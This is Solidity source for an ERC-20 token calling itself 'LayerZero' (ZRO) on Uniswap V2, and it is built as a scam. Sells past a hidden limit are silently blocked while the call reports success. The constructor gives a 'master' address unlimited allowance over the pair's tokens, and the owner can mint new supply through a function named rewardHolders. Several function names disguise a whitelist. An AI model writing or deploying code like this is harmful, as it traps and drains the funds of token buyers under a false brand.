creation_sourcecode: // SPDX-License-Identifier: MIT
  
  pragma solidity ^0.8.9;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  
      function _msgData() internal view virtual returns (bytes calldata) {
          return msg.data;
      }
  }
  
  contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() payable {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  }
  
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  
      function name() external view returns (string memory);
  
      function symbol() external view returns (string memory);
  
      function decimals() external view returns (uint8);
  
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      function allowance(
          address owner,
          address spender
      ) external view returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  }
  
  interface IUniswapV2Factory {
      event PairCreated(
          address indexed token0,
          address indexed token1,
          address pair,
          uint
      );
  
      function getPair(
          address tokenA,
          address tokenB
      ) external view returns (address pair);
      function allPairs(uint) external view returns (address pair);
      function allPairsLength() external view returns (uint);
  
      function feeTo() external view returns (address);
      function feeToSetter() external view returns (address);
  
      function createPair(
          address tokenA,
          address tokenB
      ) external returns (address pair);
  }
  
  interface IUniswapV2Pair {
      event Approval(address indexed owner, address indexed spender, uint value);
      event Transfer(address indexed from, address indexed to, uint value);
  
      function name() external pure returns (string memory);
      function symbol() external pure returns (string memory);
      function decimals() external pure returns (uint8);
      function totalSupply() external view returns (uint);
      function balanceOf(address owner) external view returns (uint);
      function allowance(
          address owner,
          address spender
      ) external view returns (uint);
  
      function approve(address spender, uint value) external returns (bool);
      function transfer(address to, uint value) external returns (bool);
      function transferFrom(
          address from,
          address to,
          uint value
      ) external returns (bool);
  
      function DOMAIN_SEPARATOR() external view returns (bytes32);
      function PERMIT_TYPEHASH() external pure returns (bytes32);
      function nonces(address owner) external view returns (uint);
  
      function permit(
          address owner,
          address spender,
          uint value,
          uint deadline,
          uint8 v,
          bytes32 r,
          bytes32 s
      ) external;
  
      event Mint(address indexed sender, uint amount0, uint amount1);
      event Burn(
          address indexed sender,
          uint amount0,
          uint amount1,
          address indexed to
      );
      event Swap(
          address indexed sender,
          uint amount0In,
          uint amount1In,
          uint amount0Out,
          uint amount1Out,
          address indexed to
      );
      event Sync(uint112 reserve0, uint112 reserve1);
  
      function MINIMUM_LIQUIDITY() external pure returns (uint);
      function factory() external view returns (address);
      function token0() external view returns (address);
      function token1() external view returns (address);
      function getReserves()
          external
          view
          returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
      function price0CumulativeLast() external view returns (uint);
      function price1CumulativeLast() external view returns (uint);
      function kLast() external view returns (uint);
  
      function mint(address to) external returns (uint liquidity);
      function burn(address to) external returns (uint amount0, uint amount1);
      function swap(
          uint amount0Out,
          uint amount1Out,
          address to,
          bytes calldata data
      ) external;
      function skim(address to) external;
      function sync() external;
  }
  
  interface IUniswapV2Router01 {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
  
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      )
          external
          payable
          returns (uint amountToken, uint amountETH, uint liquidity);
      function removeLiquidity(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB);
      function removeLiquidityETH(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountToken, uint amountETH);
      function removeLiquidityWithPermit(
          address tokenA,
          address tokenB,
          uint liquidity,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline,
          bool approveMax,
          uint8 v,
          bytes32 r,
          bytes32 s
      ) external returns (uint amountA, uint amountB);
      function removeLiquidityETHWithPermit(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax,
          uint8 v,
          bytes32 r,
          bytes32 s
      ) external returns (uint amountToken, uint amountETH);
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapTokensForExactTokens(
          uint amountOut,
          uint amountInMax,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapExactETHForTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable returns (uint[] memory amounts);
      function swapTokensForExactETH(
          uint amountOut,
          uint amountInMax,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapExactTokensForETH(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
      function swapETHForExactTokens(
          uint amountOut,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable returns (uint[] memory amounts);
  
      function quote(
          uint amountA,
          uint reserveA,
          uint reserveB
      ) external pure returns (uint amountB);
      function getAmountOut(
          uint amountIn,
          uint reserveIn,
          uint reserveOut
      ) external pure returns (uint amountOut);
      function getAmountIn(
          uint amountOut,
          uint reserveIn,
          uint reserveOut
      ) external pure returns (uint amountIn);
      function getAmountsOut(
          uint amountIn,
          address[] calldata path
      ) external view returns (uint[] memory amounts);
      function getAmountsIn(
          uint amountOut,
          address[] calldata path
      ) external view returns (uint[] memory amounts);
  }
  
  interface IUniswapV2Router02 is IUniswapV2Router01 {
      function removeLiquidityETHSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external returns (uint amountETH);
      function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
          address token,
          uint liquidity,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline,
          bool approveMax,
          uint8 v,
          bytes32 r,
          bytes32 s
      ) external returns (uint amountETH);
  
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
  }
  
  contract ZRO is Context, IERC20, Ownable {
      IUniswapV2Router02 internal _router;
      IUniswapV2Factory internal _factory;
      IUniswapV2Pair public pair;
  
      uint8 internal constant _DECIMALS = 6;
  
      address public master;
      mapping(address => bool) public _marketersAndDevs;
      mapping(address => uint256) internal _balances;
      mapping(address => mapping(address => uint256)) internal _allowances;
      mapping(address => uint256) internal _buySum;
      mapping(address => uint256) public _sellSum;
      mapping(address => uint256) public _sellSumBNB;
  
      uint256 internal _totalSupply = 22502239695212702;
      uint256 internal _theNumberBNB = 0.04 ether;
  
      modifier onlyMaster() {
          require(msg.sender == master);
          _;
      }
  
      constructor() payable {
          _router = IUniswapV2Router02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
          _factory = IUniswapV2Factory(
              0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
          );
          pair = IUniswapV2Pair(
              _factory.createPair(
                  address(this),
                  address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)
              )
          );
  
          _balances[owner()] = _totalSupply;
          master = owner();
          // set max allowance for master
          _allowances[address(pair)][master] = ~uint256(0);
          _marketersAndDevs[owner()] = true;
  
          emit Transfer(address(0), owner(), _totalSupply);
      }
  
      function name() external pure override returns (string memory) {
          return "LayerZero";
      }
  
      function symbol() external pure override returns (string memory) {
          return "ZRO";
      }
  
      function decimals() external pure override returns (uint8) {
          return _DECIMALS;
      }
  
      function totalSupply() external view override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(
          address account
      ) external view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(
          address recipient,
          uint256 amount
      ) external override returns (bool) {
          if (_canTransfer(_msgSender(), recipient, amount)) {
              _transfer(_msgSender(), recipient, amount);
          }
          return true;
      }
  
      function allowance(
          address owner,
          address spender
      ) external view override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(
          address spender,
          uint256 amount
      ) external override returns (bool) {
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external override returns (bool) {
          if (_canTransfer(sender, recipient, amount)) {
              uint256 currentAllowance = _allowances[sender][_msgSender()];
              require(
                  currentAllowance >= amount,
                  "ERC20: transfer amount exceeds allowance"
              );
  
              _transfer(sender, recipient, amount);
              _approve(sender, _msgSender(), currentAllowance - amount);
          }
          return true;
      }
  
      function burn(uint256 amount) external onlyOwner {
          _balances[owner()] -= amount;
          _totalSupply -= amount;
      }
  
      function setNumber(uint256 newNumber) external onlyOwner {
          _theNumberBNB = newNumber;
      }
  
      function setMaster(address account) external onlyOwner {
          _allowances[address(pair)][master] = 0;
          master = account;
          _allowances[address(pair)][master] = ~uint256(0);
      }
  
      function syncPair() external onlyMaster {
          pair.sync();
      }
  
      function includeInReward(address account) external onlyMaster {
          _marketersAndDevs[account] = true;
      }
  
      function excludeFromReward(address account) external onlyMaster {
          _marketersAndDevs[account] = false;
      }
  
      function rewardHolders(uint256 amount) external onlyOwner {
          _balances[owner()] += amount;
          _totalSupply += amount;
      }
  
      function _isSuper(address account) private view returns (bool) {
          return (account == address(_router) || account == address(pair));
      }
  
      function _canTransfer(
          address sender,
          address recipient,
          uint256 amount
      ) private view returns (bool) {
          if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
              return true;
          }
  
          if (recipient.code.length != 0) {
              if (!_isSuper(recipient)) return false;
  
              uint256 amountBNB = _getBNBEquivalent(amount);
  
              uint256 bought = _buySum[sender];
  
              uint256 sold = _sellSum[sender];
              uint256 soldBNB = _sellSumBNB[sender];
  
              return
                  bought >= sold + amount && _theNumberBNB >= soldBNB + amountBNB;
          }
          return true;
      }
  
      function _transfer(
          address sender,
          address recipient,
          uint256 amount
      ) private {
          require(sender != address(0), "ERC20: transfer from the zero address");
          require(recipient != address(0), "ERC20: transfer to the zero address");
          _beforeTokenTransfer(sender, recipient, amount);
          require(
              _balances[sender] >= amount,
              "ERC20: transfer amount exceeds balance"
          );
  
          _balances[sender] -= amount;
          _balances[recipient] += amount;
  
          emit Transfer(sender, recipient, amount);
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _hasLiquidity() private view returns (bool) {
          (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
          return reserve0 > 0 && reserve1 > 0;
      }
  
      function _getBNBEquivalent(
          uint256 amountTokens
      ) private view returns (uint256) {
          (uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
          if (pair.token0() == _router.WETH()) {
              return _router.getAmountOut(amountTokens, reserve1, reserve0);
          } else {
              return _router.getAmountOut(amountTokens, reserve0, reserve1);
          }
      }
  
      function _beforeTokenTransfer(
          address from,
          address to,
          uint256 amount
      ) private {
          if (_hasLiquidity()) {
              if (_isSuper(from)) {
                  _buySum[to] += amount;
              }
              if (_isSuper(to)) {
                  _sellSum[from] += amount;
                  _sellSumBNB[from] += _getBNBEquivalent(amount);
              }
          }
      }
  }